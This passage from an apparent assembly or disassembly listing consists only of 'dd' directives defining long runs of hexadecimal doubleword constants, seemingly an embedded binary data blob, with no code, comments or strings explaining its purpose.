990006D3h dd 57E9B0CDh, 38DA9B2h, 0E190022Bh, 0E0C8011Dh, 0D601CD61h dd 0E66452E5h, 9FF0C0E4h, 0D4B301A5h, 4E875DE7h, 42498013h dd 7E37D06Bh, 0A32801F3h, 0E31EBD43h, 165CF063h, 0F93093ECh dd 0CD20F82Dh, 23D7203Dh, 2A825401h, 8C09E54Bh, 55D4B4FDh dd 60BAE8B3h, 0B181E06Dh, 4A013D4Bh, 0D060F056h, 79800E07h dd 0BA74AF94h, 3F7982D1h, 79E6F500h, 3555D74Bh, 17750058h dd 9438670h, 0E8A8386Dh, 0E41FB4C9h, 2CC2450Eh, 0C018D634h dd 5FA9D5h, 15610349h, 8B261154h, 2A511C15h, 0B20075D8h dd 4A41C290h, 8001101Eh, 9224810Dh, 94002464h, 0D907E33Ch dd 0D7970FB5h, 9C3E972h, 2003BAECh, 5DB13817h, 2038AD7Ah dd 446F8h, 1ED57CD6h, 1425B1Ch, 74900D61h, 4D074EE1h, 8357E8E4h dd 0E0C5A928h, 0CC30E484h, 58D72043h, 0DB472E53h, 0C04A1C14h dd 5C360B3Bh, 0BE3CC111h, 0A4731EFAh, 74C02640h, 483FC41Eh dd 242982CDh, 4BB000D4h, 0B35C0A5Bh, 0D3BD4486h, 5B4A590Fh dd 0F1E3A0FFh, 0C503CE1h, 9C87E0Fh, 796F06A8h, 0DA0420B1h dd 0FC0E2B44h, 4DF52469h, 0FF790050h, 0E89492E1h, 70A037EEh dd 0D149F522h, 52EB875Ch, 1DFDA8E0h, 0D0008501h, 0FEE552EFh dd 112F03E8h, 0D4BAB837h, 0B848AFBAh, 0AE04F561h, 0A7FC0876h dd 0D68F1587h, 23507D14h, 4BB30086h, 0B6A409FCh, 21146786h dd 0AA4A20E4h, 8185127h, 0E519653Ah, 0B11700A0h, 3C95B2E2h dd 8901C1B8h, 0A24F48B5h, 9CE47CFFh, 5AC0238h, 3F525516h dd 52F298A4h, 0C0444408h, 0A4787D5Fh, 7122D646h, 67C70D00h dd 30D92E19h, 44331E38h, 4139D804h, 0A0A81C05h, 0F10076DDh dd 421FD9DFh, 33C8529h, 0B5F314A0h, 317BD36Ah, 80B69C00h dd 0D022196Fh, 0FE560068h, 0D8C3AB79h, 29C0255Dh, 0FCFA329h dd 0A8EFC21h, 177FB6CEh, 74A84884h, 176DAE10h, 7976480h dd 7049E165h, 57FE8074h, 4395A929h, 0E2C5223Ah, 6B5300A6h dd 690A2814h, 7C9974B6h, 0C6719829h, 9EE49718h, 42156B71h dd 80D8775Eh, 4F5861DEh, 2892BDh, 72E64BB4h, 1CB30438h dd 8CC8F78h, 72E921BCh, 945895C2h, 577A0A00h, 4798097h dd 0F0A409h, 6E6B5FD4h, 557A76AFh, 80918A07h, 0FAB2A6C3h dd 1118C1A1h, 0E01F15h, 5DDF43C9h, 0B028BEB8h, 64A17035h dd 934ED087h, 201037Eh, 0A4BBD309h, 0C0823DF5h, 50FA1B3Bh dd 0E4370060h, 0BA9FFC01h, 47B236DAh, 183B0420h, 0EC114A94h dd 0C900C415h, 4DAA51A9h, 8F4F50h, 10B921C2h, 0EE94B8C1h dd 1607C300h, 0A3A9C841h, 22E300B7h, 0A2400942h, 0A5006179h dd 31FA5E8Bh, 262B4BBAh, 0F4B8A79Dh, 40CEE21h, 3FF51970h dd 6B082042h, 6C65D905h, 7B5B1488h, 0C979AFh, 0F1405DE1h dd 98FBAC9Dh, 6A530912h, 6844CC30h, 6EA4104Bh, 2E2DD95h dd 20748C42h, 217EF87Eh, 0ABA1460Eh, 53641004h, 1BD40072h dd 441CEDAAh, 9700E1D2h, 0BA11491Ah, 30E70AFh, 32592CD7h dd 7AC1CB34h, 2194F4A0h, 88483E48h, 0E677C06Ch, 23218E7Eh dd 11891A1h, 0A6E64F0Dh, 0E42240B9h, 5D94D40Ch, 391F0F21h dd 0DF01B218h, 8AF08FA4h, 346BD444h, 0B37C401h, 8443DB3Ch dd 0A5E15F50h, 751B5A00h, 36243D56h, 46003C4Ch, 87540B1Dh dd 286891FCh, 3DF80420h, 96B8089Ch, 590A6118h, 0E890BAB2h dd 0D10128A8h, 0DF487923h, 0D44B0B21h, 3010E884h, 2A023Fh dd 0DB159B3Ch, 0A817E6EFh, 284896FAh, 0F197044Ch, 2CC9B16Ah dd 3DB05026h, 0C1240C0h, 5444CA81h, 94C04842h, 60D5931Fh dd 901B683Ch, 0EA0004A1h, 0DF146115h, 2854BD46h, 0CEDDAEh dd 4AE59DDBh, 0BBA0D66h, 6424D200h, 567D116Bh, 2DE400B9h dd 469071DCh, 6E734BE5h, 130CA00h, 7956371Ch, 99F000DDh dd 0C7E72E7Dh, 9800E1F7h, 6DCD5E5Ch, 3A26EB5h, 584E33A4h dd 0E1E86AF3h, 800271Eh, 833F869Bh, 3A0C1710h, 0D9180D1Ah dd 403E202Ah, 2F936A00h, 9CFDCBA9h, 0E501046Eh, 0C0AA0442h dd 14509FA8h, 99ACC700h, 9A3E8498h, 4DCC03E9h, 40377D3Dh dd 0B1C97800h, 0D8C71B5Ch, 7FAC032Fh, 0ADA988B8h, 0CEFDBAA8h dd 86CCA200h, 20D7AFD2h, 0F88F6BFh, 635B0B64h, 7320F2EAh dd 0CFCA899h, 51310FE3h, 50806C6Fh, 11B98D90h, 0E14DC71Fh dd 0E8958C7h, 0D9F01C17h, 8ECDD8h, 7055DDB9h, 0AEF45BE8h dd 0DB00D770h, 7A6588B6h, 816426D8h, 0F3D1D1D3h, 41078978h dd 190BF985h, 65A51F0h, 30AE74CBh, 1B201DF7h, 0D203F9CEh dd 0DA774274h, 0FC490C86h, 1E90C64Ch, 0E2CE7A1Dh, 9D6E1830h dd 99762A84h, 8AFC0CA0h, 65282EEEh, 0B3FDD105h, 6782D08Eh dd 0A090AD78h, 215020A0h, 8680BBEEh, 5F1906F9h, 1D2086AFh dd 0CFE8011Fh, 3CBA7EF9h, 7008207Dh, 0AB40781Bh, 0D0BEC051h dd 9D89006Fh, 0E5AF7A1Ch, 1E8783Bh, 0E14E7B0Ch, 7F2B20D4h dd 0D180F1D7h, 0DE7EE36Dh, 60063FAh, 0CD2F3C2Ch, 3FD5697h dd 88B9AB6Eh, 0D900E5C3h, 0FB9E0FC7h, 18F9DCF4h, 0C85C9B89h dd 7E86B73Ch, 1908088Ch, 0A366AE2Fh, 0D4461FA9h, 0AB67C0F9h dd 0DA5153E4h, 89D87515h, 690118B8h, 7DB5Ch, 0E591A3AEh dd 0C94BC04Eh, 0D584DF28h, 0F33BC705h, 4C00D644h, 0E75F896Dh dd 0B03E03D9h, 0B76ED0CEh, 9DF349A1h, 5FCEEF20h, 0A8AB4A7Eh dd 0F800E19Eh, 0B65618B5h, 0D0C8CE2Bh, 0E258C0B0h, 52CF1994h dd 72C3C8ACh, 3EEAE0C0h, 0F4888097h, 0E154601Dh, 0D700A20Fh dd 30B89590h, 9040D874h, 0F12E0041h, 0D96017Dh, 7B00323Eh dd 0B745428Dh, 2AF33CF8h, 27CC2C8h, 0DA435E0Dh, 4C19AADEh dd 5FB57310h, 947AFB01h, 0BB8CF785h, 93E93F4h, 4EA168AEh dd 61412424h, 3401902Fh, 92CC0C4Bh, 27DB0084h, 42326F90h dd 96000B5Ch, 1B9EA4ABh, 489AD899h, 5D2A7411h, 0F9610088h dd 0DCA72DB1h, 60A53D46h, 9604664h, 280007ADh, 0CF6CD823h dd 16214EAh, 4F158240h, 0A850DEC1h, 0CB520C51h, 5F880130h dd 0B749AA86h, 10884B0Ch, 0AE5E0012h, 0AADD8131h, 0C21815E4h dd 2D415D0Ch, 86440014h, 9E56322h, 160056F8h, 0E40ED294h dd 1C3692AAh, 93300732h, 11D8080Ch, 26B83C2h, 62190EEBh dd 0B872180h, 9F26A99Bh, 0CE2C5E09h, 7E248259h, 0E4370043h dd 0CCA81618h, 449ACDF3h, 13D88300h, 0CE6C8B2h, 4E140A8Ch dd 8F3CFCB6h, 3F829B0Ah, 0C4191093h, 424C4180h, 1BFEF36Ah dd 0BE92D504h, 509051B6h, 1F712ADDh, 0C1D39948h, 0F8BF96F3h dd 19A7CC6Eh, 8D201713h, 10AF8832h, 70039B10h, 0A68A9A36h dd 0C8205051h, 0F97D04ADh, 8072278Eh, 0E415EB10h, 1DF1D111h dd 2520C10Ch, 10913B49h, 4A184B79h, 3E320507h, 6A20DB29h dd 0A1BCF9h, 0BEDD0DCBh, 862BB5B9h, 37880CB1h, 0F98360B7h dd 0D74C1985h, 0A1E258h, 0F5C07C55h, 0C46EE104h, 388F8B50h dd 3D00E3DDh, 9E66ADD2h, 0ED291570h, 929A8F5h, 2A9678E4h dd 0D9D70086h, 1CB94961h, 83009A93h, 2C887D8Fh, 2EBAF13h dd 2EE44A17h, 0F8447A86h, 80AC1B21h, 9C0F903Dh, 0E18679C4h dd 0C3C91C64h, 224A0B20h, 0CEF373E8h, 0D8A7507Ch, 18E2C5C2h dd 130349A4h, 1A257F23h, 0E0890110h, 0B489560Bh, 0C08057C3h dd 0E53AB0C6h, 7B593E06h, 0E192FD6h, 0B8B6F9A7h, 69F39083h dd 6CDB3100h, 0F0A37808h, 1DEC0028h, 0E5C4F752h, 5607F933h dd 0C38969CAh dd 0D20B246Ah, 7B081004h, 351C00DFh, 2D563498h, 80B0A894h dd 2F8DA90Ch, 0E6F85Eh, 0DDC69A6Ah, 0EB565421h, 0DA674100h dd 544A3D3h, 63723914h, 0F8DDA100h, 0D24DFD2Bh, 4B9CA600h dd 7F36A52Ah, 1E7D0045h, 77E291D1h, 0C400CA51h, 0F40AA60h dd 0E6495Eh, 4618B813h, 2D64764Fh, 1DFBD400h, 8492EBBEh dd 0F121058Ah, 0FCDF64Dh, 74C07C81h, 581038DBh, 0F3188200h dd 0A93FAA99h, 67270002h, 5068A525h, 4A00A021h, 4DFA2EBEh dd 7D62A3Ch, 419737DCh, 7EF1431Dh, 18A39BA8h, 848B0A00h dd 7B45D36h, 3EB3043Ch, 0C0B882A5h, 0E934F1E3h, 5E00C976h dd 54430431h, 0ADD889h, 25865A72h, 0DA64E617h, 81211902h dd 603E4755h, 3D3A66h, 0A9AE456Ah, 0E113F828h, 5300E7E8h dd 0ECB0C95h, 1EE5F526h, 8085BDFDh, 23E66C25h, 5003CA47h dd 0CCB2AE36h, 5CC001CFh, 847EA17Ch, 0EC4083D1h, 0E8FEDA7Ah dd 28524DC5h, 30C0F9EDh, 0E9805661h, 0D10198EBh, 0C1CDF599h dd 0F8C49110h, 45D20079h, 2B5C9293h, 0B871126Ch, 6BF13Bh dd 0DC4F816Eh, 14B2EA20h, 80457BC3h, 0E2121F00h, 0D17D090h dd 285ABD07h, 4C8194B1h, 0A7ECB970h, 19CE0329h, 48B72566h dd 7F37A4A8h, 98D140C0h, 0CFA05Fh, 0F028E2EBh, 2AB78FDFh dd 12002090h, 42A364F7h, 9D4F1Dh, 8EB8494Bh, 8C2213F4h dd 693E27F2h, 706F0AEDh, 57086095h, 6BF0605Dh, 0C9466E53h dd 1E006D22h, 7E39E215h, 3CCBDC8h, 0EF5ED37Fh, 40003C49h dd 63F72918h, 0E432B11h, 194DC96Bh, 0A32FD220h, 0B7745062h dd 8AECFC00h, 55215EAh, 0C1B1675Dh, 4CE00F18h, 10B2763Ch dd 8A5C2507h, 800CADA9h, 775F0B1h, 21A304C0h, 1B82507Bh dd 983D9976h, 497D800Ah, 6C3020BFh, 0D98B00F6h, 0A3EA5BF1h dd 0E0033DFh, 29E84A2Bh, 0D5E352h, 42536DD6h, 9C957A7Ch dd 84CBAF00h, 97082AE9h, 5C40C01Ah, 37E5D4B4h, 39651800h dd 8A27DEE3h, 9F1C0033h, 0E17B92C1h, 0A101AE13h, 6023303Eh dd 48CCB9A4h, 12A57324h, 8B0E4B5Fh, 1D4EC4DCh, 3AA1B130h dd 0B9BC4704h, 0E0D0D8FCh, 7BA927h, 9510AEE6h, 500D9E28h dd 9B47AD02h, 51C222CDh, 18467974h, 98267BBDh, 0BBC900B1h dd 66B62201h, 7E5D7875h, 6FD280F4h, 428C9DBBh, 2ADEC077h dd 0B88490h, 95E033DAh, 0C891A0BEh, 4B595C01h, 3E8DE722h dd 22C4884Bh, 3ADC301Fh, 0BF8D2844h, 0A4FC051Ch, 4752BA20h dd 0B0C2FD9Ch, 374608B0h, 245AFA00h, 9CD0FB91h, 0C4890064h dd 0CE73387Eh, 0D702A0F1h, 12849D90h, 1C8588Ch, 0F4FE0DC2h dd 609B1C7Fh, 10039A10h, 0B8964B0Ch, 189BE6h, 81919E68h dd 0E8144ED8h, 0F6B75400h, 488C5CEDh, 0DB070040h, 4D597252h dd 0A902C714h, 6729CDF7h, 23209694h, 9021FC68h, 861D50D0h dd 218F242Ch, 0B64FA900h, 0B9E306Eh, 8BA57454h, 0FBA064A0h dd 0B45D4E01h, 6B948018h, 42232171h, 2EB2CF0Fh, 60F8A09Bh dd 0ACB063h, 0EB734E56h, 0EAA4B402h, 0B651E8E5h, 0A02F2B4Eh dd 62005023h, 9230565Ch, 0E4650E54h, 0C013DA51h, 68E3BD00h dd 0CCF76602h, 707407D8h, 0B19707DCh, 0C7F0AD82h, 5404E16Ah dd 6CACF0BAh, 99F058B9h, 0CA008677h, 0D2B61A7Bh, 14D611h dd 0D0C082D1h, 6B413199h, 486CCC1Ah, 34A82868h, 7B01215Eh dd 9F62CF80h, 4EB5055Dh, 10883AEFh, 0ABC01DC9h, 61422A0Bh dd 83AF009h, 92807DEh, 28B34B34h, 0E99B0479h, 32101B3Fh dd 0E2612075h, 0A1003E68h, 0DF6AB72Ah, 373CFFAh, 3A8C4E02h dd 5807D928h, 1A438DE6h, 86339870h, 0ACD700FCh, 0F8A477Ah dd 0DE1E091Bh, 8FE8A20Ch, 6A57F700h, 3BB8D118h, 40650FEBh dd 0C6809B3Ah, 0B5792990h, 789CB000h, 0A680B4F4h, 3541D1Ch dd 7EED8EABh, 7FF9C4C0h, 9400E00Fh, 78C6E2FBh, 0B56F025Fh dd 0C400CC50h, 7BB064B7h, 3BEC9DCh, 0F5964A23h, 81049F7h dd 0BCBF48C6h, 0EDF81F1Dh, 810E00C4h, 1EEF7F2Bh, 961F6C00h dd 61C0E584h, 1457C1Bh, 0B077C120h, 9C376A10h, 22A2E829h dd 0C422E33Ch, 2F8622C7h, 3B3E6422h, 0A8C0CC3Fh, 0FB8078FCh dd 0C07E4093h, 63CF3D44h, 44CC515Eh, 14EF2921h, 657E503Ch dd 230513Bh, 1E08A514h, 3C04B805h, 94440955h, 1637467Eh dd 0CC743E29h, 817A2940h, 28417881h, 6C173301h, 1900C629h dd 0E344BFABh, 0EE81E9h, 0FC51B87Eh, 261C2385h, 272CC900h dd 42503017h, 9EF70F6Ch, 0A20E7DCEh, 6BD87020h, 0C000F1E5h dd 27901465h, 194BA63h, 29496728h, 0CC7FCD2Eh, 0CB00A1F8h dd 8871BFADh, 1E860C58h, 0C00F2FBDh, 1AFC1170h, 0AE003A3Bh dd 0C4FE3803h, 75C8F8D7h, 4EE9003Eh, 77B79D30h, 4872AFEFh dd 8C53AE00h, 0D066E56Fh, 9DC8003Ch, 0F818C27Fh, 0EC0032D5h dd 0DFD1A71Dh, 0F00F9A04h, 0E1480151h, 3D399389h, 0F2F4F4DDh dd 85577D0Fh, 6A246026h, 489EEF65h, 96002451h, 0FCCE043Fh dd 0B40E355Fh, 0A673BFD8h, 3F509216h, 0DF9F656Fh, 5D50DC14h dd 0C0815D7Ch, 82C72D53h, 0EB00361Eh, 1327FC0Eh, 4C78A1EFh dd 3D149847h, 0F9808C2Fh, 6A5B28F2h, 0E42C1100h, 0AEAD449Dh dd 3A4C00D8h, 7581B5Ah, 8011256h, 0EFC98F3Dh, 76F8DD75h dd 0B76503B6h, 0A2626085h, 21CD31C0h, 55408C00h, 86D8B18h dd 0EB1068Eh, 3682348Fh, 0D332DA00h, 6086EB99h, 24CE2E2Fh dd 102118E5h, 0E203789Dh, 8DD3A402h, 0DA85805Eh, 0D2220076h dd 71FB656Ch, 0B6000792h, 1144FAB3h, 40CEC5h, 0D3E2AD6h dd 66C3E26Fh, 0BF2CAC75h, 7200770Eh, 5141FCF6h, 52FF0358h dd 0B27EA53Ch, 0B17D8080h, 71345300h, 6D9C4266h, 9F100ECh dd 203975B9h, 0B8036283h, 90653E61h, 538FC1CEh, 0E9CBC0h dd 5A26F4D6h, 27C38B68h, 80CE9D3Ah, 35E0911h, 0FA203380h dd 77490715h, 401AC98Eh, 0EEABF4B1h, 64B8781Ch, 7148CAC0h dd 4046AEh, 8FDEAF67h, 5D98E782h, 6B7AD100h, 0BB880DAAh dd 7620057h, 0DF102D2Eh, 500070E5h, 9B462BCCh, 196A374h dd 941B3EC0h, 0B942E49Fh, 0F94880D8h, 0CC865DC1h, 0F4B300A3h dd 33DCEE40h, 5807E5A2h, 60B66197h, 7CA9BBA0h, 825900FCh dd 0CE5B8586h, 0BA7A09C2h, 9C1BB702h, 403A21F8h, 0D7EB0Fh dd 0BE9538Ah, 0BF7ECEC2h, 50F2D100h, 0CAC91767h, 9F1F0733h dd 10B78115h, 0D3664DCCh, 0C2E6AB8h, 48000835h, 0E1C9C29h dd 0D2DE0050h, 0F16DCD2Dh, 2A05C31Bh, 97198473h, 0ADA4E500h dd 134F89Fh, 14321011h, 0C4DBF9B1h, 20001678h, 0DF29F636h dd 1CC96087h, 0D50938h, 0E8DD3F9Dh, 6E3E319Bh, 0EE3804Ah dd 8E34A3B8h, 11BC09C0h, 44034798h, 3802968h, 9100CB77h dd 46F4C48Ch, 12F3C1CAh, 0F9ADF7h, 15D33F0Ch, 0F800C6B9h dd 63448CC5h, 0FEFBF287h, 0C7B6007Eh, 28433E7Dh, 5035B0Ah dd 6E85E28Ah, 0AC20B70Ch, 1019FF4h, 35118922h, 0D0EFB46Ch dd 1F0095FEh, 0CA5ECD76h, 0C37EC7h, 0B6EDF3E0h, 0C24A6D9h dd 0F4C91300h, 3B403018h, 0E55D00DDh, 5EE2A4Fh, 0B53A7506h dd 4E44802Dh, 0DD99C658h, 3CE30747h, 0B074A35Ah, 61E4BBA0h dd 0FF7FB528h, 0AC0055FAh, 0CE4AA256h, 642733h, 0F935E141h dd 38984B13h, 82CF680Eh, 0ADD2E09Ch, 3F1306Bh, 0E4916A50h dd 9FA8B3ABh, 0C7263A44h, 0E021816Fh, 932B2001h, 0FAF0AAFFh dd 464900BCh, 20145F7h, 770091C1h, 61FEF1F6h, 1B33309h dd 0B9A19625h, 0F4DA5366h dd 0B73E481h, 43A86400h, 11CAF240h, 345800D8h, 98B4BA08h dd 22E42ACDh, 120DC30Ch, 6D6043h, 16508A1Ah, 2C8901EFh dd 887F1000h, 0E7F220A6h, 9C7004Dh, 0EFEA9EBDh, 0F300E489h dd 0E8F0E534h, 0CDC0CCh, 339F3FFBh, 0CB92791Dh, 44B07500h dd 0D151619Dh, 0B9BD3C8Fh, 0D2944180h, 0B6E6CE31h, 0B223EC02h dd 60735166h, 1FC5920Eh, 7089D99h, 0F039197Dh, 24786590h dd 3C77A000h, 2F2E631h, 6C933720h, 53E570C2h, 0F700A281h dd 587A5536h, 7E8FAA78h, 659A0E94h, 1E32A87Ch, 0D2AFC0B0h dd 52784DA5h, 0A26C4900h, 4CC8C41Ch, 0D0D70BF2h, 4003191h dd 6B3BD598h, 291A0700h, 0E511DFB5h, 6AA40039h, 58EC9485h dd 64B0B723h, 0B3C4EA05h, 5C80D7CBh, 1E5C11A8h, 0C17B19E3h dd 5A691271h, 6080D104h, 5008487h, 194CDAEFh, 5F9E90h dd 0C3608D33h, 82FEA28Fh, 8697D600h, 9A033EB0h, 58E8032Dh dd 456CEC9Bh, 0ED2C7AA0h, 0ABEEBC07h, 8DD05A5Bh, 7F859Eh dd 509A4411h, 539F12DBh, 0C83DAE00h, 4169CD74h, 8CC3000Dh dd 970E94D9h, 34034BF2h, 28E8EEDAh, 0E471D082h, 81D90037h dd 17FEA0B4h, 0CD019905h, 0BCF0EA58h, 0C2F80D42h, 54B50055h dd 0D4DA2998h, 0B9792BE4h, 0B6CFB800h, 921ADB48h, 74C0B0E8h dd 995E0029h, 9CB0BDDFh, 6D022472h, 0AC08432Bh, 56A64067h dd 5DE0037h, 0F7D8847Ah, 0C2007B1Dh, 6EF8D00Dh, 2C41BEDh dd 0B1FBFD87h, 0EE40DCA9h, 54022650h, 4AB3B414h, 6B14E0F4h dd 0C7733C75h, 5684B50Ah, 471D00CCh, 407BF196h, 69757800h dd 0C89D97E1h, 53E8034Fh, 424BAF19h, 745E4600h, 0E092FA9Ch dd 55D638A5h, 0B0D4D914h, 1E8EC009h, 43197080h, 5E007023h dd 52B99062h, 0CAFF14h, 634679E7h, 0FB6EAF4Ah, 5B5C0C00h dd 0D76C0228h, 7CAC5850h, 0E61B6F0Eh, 431E81AEh, 0FEFF4E92h dd 0E27138C8h, 0CD6B1400h, 3BA93E44h, 479700D3h, 0EC168E06h dd 0AD0E7565h, 0C06B398Ch, 4AC083A3h, 0FDD00B43h, 58057D3h dd 0A814A25Ch, 0E00A3Bh, 4D8AFAE6h, 2E22257Fh, 3461BDh dd 0C39C0D11h, 0C0006A96h, 0A3DB5EF9h, 983B5E8h, 152AF4BBh dd 0FB41548Eh, 803DD5C9h, 458E9AB8h, 0B6A5D22h, 0E840BE16h dd 738D300h, 0F416CAD3h, 8480445Fh, 1488AB60h, 0F89F040Ah dd 292B6700h, 765EA821h, 9E556100h, 8DE88C97h, 129200C0h dd 694981DBh, 4BF69926h, 0C8F02300h, 651CF180h, 50C40037h dd 0E32E1808h, 4600B113h, 6A07EA56h, 3CD4EB5h, 0DC25D3A8h dd 42F9D12Ch, 415B718Bh, 0C1356940h, 70F4CC5Ah, 67B32A00h dd 4A8CEC60h, 2F27036Ch, 18F7170Ah, 31C83AA0h, 63ED0603h dd 0C8907802h, 0D6AFA5h, 0B7A3C105h, 0E19EE870h, 4113E680h dd 3E420D5h, 7842840Eh, 0A6AC40FEh, 0E6498Dh, 7FF29B8Eh dd 2E2977B8h, 6F59B403h, 0F0A0316Ch, 31F66ACEh, 4D6A45C6h dd 0CC9ED83Fh, 11729201h, 5561D16h, 1F0F29D8h, 80E58419h dd 0C15E101Ch, 9600EC0Dh, 0B005DACFh, 1FEA8E6h, 9470DB3Ah dd 0F14DF522h, 3FE44024h, 1E00B6BAh, 0ED86E75Fh, 982F6C97h dd 0E37570h, 77F311B7h, 0AEE00659h, 7C2CFC5Ch, 2109C100h dd 0D8416879h, 51F600A3h, 0EB061E70h, 6000881Fh, 2F9C7572h dd 17336AF9h, 0BC6901h, 681C7498h, 0E40050CAh, 3DF844F1h dd 3D6649DFh, 6E81D8ECh, 64F68583h, 7017D1EFh, 110096E0h dd 606F7982h, 8C3F8Dh, 0D964F832h, 7BDC750Fh, 0F402687Fh dd 89AF6673h, 0CB908057h, 0F6A443E9h, 36531FFCh, 63C744B9h dd 7F9EC03Ch, 810040A2h, 0D548E9CDh, 7E8F1FAh, 1B356C8Ah dd 8C3ED01Dh, 0B1000633h, 11D39A8Eh, 8F1653h, 0DF1AE03h dd 4C85C2BAh, 3C835807h, 1EAB88h, 0A88206CCh, 90AA001Dh dd 0E681F942h, 5FE83302h, 59FC6D00h, 9671BDC5h, 58ABF2FBh dd 7B269Ah, 10F2D0F9h, 257C8C20h, 193EFA0Fh, 5EB0C351h dd 56ABB81Bh, 9CA400BCh, 6255C5F1h, 0F000BFBBh, 0BD77CBCDh dd 1998653h, 61951373h, 31393214h, 40C0CE79h, 5C28ED48h dd 0D7009FB1h, 0C2CFCC4Bh, 26FC7D5Fh, 0D74657h, 8AA5607Ch dd 10037795h, 0C5ACCDFBh, 34D48D9Fh, 9C1BEC02h, 8C46C0BDh dd 0B0B40009h, 4EB2C653h, 231E90E3h, 5F8070ABh, 0D0A79E7Ah dd 16BB0029h, 3AE341EDh, 53007438h, 980C6B28h, 0C6C286h dd 0AC1043C7h, 0A81678CDh, 30286459h, 4247102Eh, 0C08005B5h dd 801A4CCCh, 32433FDBh, 0E548FB00h, 0CEC6732Ah, 50F00567h dd 809A7CCBh, 0A529E6DFh, 4CAF3D01h, 18EC9626h, 0EFE351C4h dd 7B3A930h, 1C2F597h, 0C01F5E91h, 0E35F984Dh, 0EE075C5Bh dd 5731BB2Dh, 6C680009h, 9BDE422h, 6B3F86C5h, 1DBF4B8Eh dd 806A5F09h, 63C49F0Eh, 3C00F4E7h, 9358D15Eh, 0B13DCAh dd 0E4BCFF53h, 7FAD07A5h, 3A75C501h, 337BD9A4h, 3CC411C5h dd 0D2C30091h, 79789A59h, 0EC0DE85Fh, 0A8800EEBh, 9133C8h dd 0B58910CAh, 0B381AF9Dh, 1DA02D00h, 6CEF0F40h, 8A180ACEh dd 80E4CC31h, 5F71D2E9h, 0CA1F5502h, 3EC03613h, 0F212E5Eh dd 0BA7D0EDFh, 0F7208C94h, 0E0223025h, 0EA89C601h, 0DA4D15F3h dd 95824h, 3320ACD3h, 314451B3h, 0AF49DC1Ch, 9B00F99Dh dd 4DB2B6D2h, 0F09C078Eh, 60695B84h, 7ED94AE5h, 0B7CBA900h dd 0D0D20F83h, 0EC2609DBh, 74A5F801h, 0C630B07Bh, 5D3DB609h dd 64800413h, 0BA9C7CC0h, 5F760D30h, 301863DBh, 0D901B488h dd 49A28361h, 0A0605729h, 441B48BCh, 31632Eh, 0A2EFF2F6h dd 153C23D9h, 681600FBh, 0BBFD9C90h, 631C03D2h, 1733CB56h dd 0E949CFF0h, 9D7C9090h, 0A11D6800h, 425BE22Ch, 8C3200A4h dd 49F208Fh, 0BE01CDBCh, 0A184B863h, 0C9E82DC0h, 0FAC3B74h dd 0D7923881h, 471AF87Dh, 163B079Ah, 76009881h, 0C3EFE34h dd 90075ABDh, 0F0EC7A6Ch, 300148B1h, 0D0B60079h, 3BC5117Bh dd 6200081Bh, 73824918h, 0AD6B5Fh, 802E77A0h, 0BB1FDF69h dd 54004C92h, 0B49232DAh, 9D905Ah, 0B3C1944h, 2AEE2767h dd 1E957900h, 307DD53Ah, 0A49E18A0h, 0D7B8E08Dh, 8FDB1A2Dh dd 423162ECh, 12784E30h, 0BDC61A9h, 5F00AF74h, 58B030B9h dd 3E783477h, 0AC92D500h, 0E9D9D00Eh, 539913EDh, 36A4D0A3h dd 0EC0132CAh, 2FF4E50Fh, 1080D3C8h, 3E3AC3CDh, 59013180h dd 466D507Ah, 45C0A0DCh, 9B4D00E0h, 0A213EAE8h, 220095A9h dd 0DEB5DA77h, 140AF778h, 0C83BF8CBh, 0E82C2E05h, 2594826Bh dd 2077A761h, 4370D914h, 1F22D505h, 0B80B3005h, 140C850Fh dd 753F1481h, 0E60C6D1h, 0BBBC0059h, 0F99B80A4h, 770A61FEh dd 0F2D10F2Dh, 0EECA2101h, 0F824A467h, 2F7005Dh, 0B318C74Bh dd 1C386AB6h, 0A1D380E3h, 38274DD4h, 0A4D8015Bh, 0C7903B05h dd 6C9DEC28h, 739FFC00h, 0D3641A7Eh, 0B064B08Eh, 242E0C3Ah dd 8BB86295h, 68595000h, 1912F8ABh, 0E26D0094h, 7E107B9Ch dd 481F86BAh, 1C055F4h, 1877256Fh, 90F003F7h, 0FD46ADC5h dd 0F4817EC2h, 43686429h, 1491998Ch, 9B9CE895h, 8DD2C000h dd 0EDB69D6h, 0B8EFF877h, 524D0150h, 1F4C4E4Fh, 0CB3870E4h dd 54A6D807h, 116080F7h, 73D75Fh, 0F1080F22h, 671C3355h dd 51777200h, 0F3E7868Ch, 0FFD700EEh, 742B96Bh, 513541Eh dd 0E8011067h, 810D591Dh, 18A048FCh, 10454F8Ah, 0D40C74F6h dd 9A5CC79Eh, 0DD75002Eh, 0C4546EE6h, 4D054A13h, 893F0763h dd 0E3AC40D0h, 97950058h dd 368B71CAh, 0D63E90C9h, 0EBEE00E5h, 2B1707B0h, 432E007Eh dd 47C7DCDAh, 72005C5Eh, 0C8AB9CE0h, 392C65h, 0C3E89A35h dd 0FF7A5337h, 688D1E07h, 3D71BE09h, 49F481EAh, 79A101E3h dd 0E2F7E19Ah, 0D4DEF191h, 10C98C1Dh, 643500E5h, 0C727F6h dd 228F08A9h, 3D720A94h, 0E2471400h, 0BCA81083h, 0A2D10009h dd 9A5BD2F5h, 4D018728h, 3404959Fh, 0CF4C08Bh, 0E0431D2Dh dd 8CEC4044h, 0EEC8DF3Ch, 676E5912h, 6A1F00FBh, 6BB7CC80h dd 82B1DD3Eh, 38F96F0Ch, 0D9FCE13Ch, 630F084h, 0D1674065h dd 30BFC44Fh, 90183175h, 73008844h, 500E8796h, 30EA6319h dd 0AE5883C0h, 5B3E6913h, 5E200048h, 51EF4F4Ch, 555C0007h dd 0E026D60Eh, 10072106h, 23B57D46h, 0C83D00EFh, 0D70D52h dd 11058F0Ah, 0C6B9E60Fh, 0C9646103h, 8886EC1Ah, 1D9E6EF2h dd 89296DA2h, 0EB8345E9h, 0E3900797h, 6E005659h, 0D241091Eh dd 1E27981h, 0A7589B38h, 0C8888C33h, 276E32Ch, 0D2037379h dd 67D17EBAh, 2DF6A092h, 0EEFE003Bh, 0DD9C8684h, 2F98B4B7h dd 0BB44A207h, 0F8D07501h, 0ECBCD056h, 0D6EC1DFAh, 0F4A2C636h dd 6500344Fh, 7DCA35EBh, 0E6968h, 0D413C2DFh, 9602791Dh dd 3D67D800h, 0A1CFC3E6h, 29310012h, 88430B62h, 0DE0091A2h dd 2747E907h, 7A40754Ch, 6FE6037Ch, 0ABFD6B1Fh, 0F56829A0h dd 0BF4E2201h, 0AEA8CDF8h, 6103E0CAh, 0C9C83946h, 306361Dh dd 934D7819h, 801FC83Fh, 92650240h, 1215D991h, 28CE7Bh dd 0BE38A074h, 0E8C38474h, 90D486C4h, 18AAB9AFh, 601D0212h dd 0AC719E3Bh, 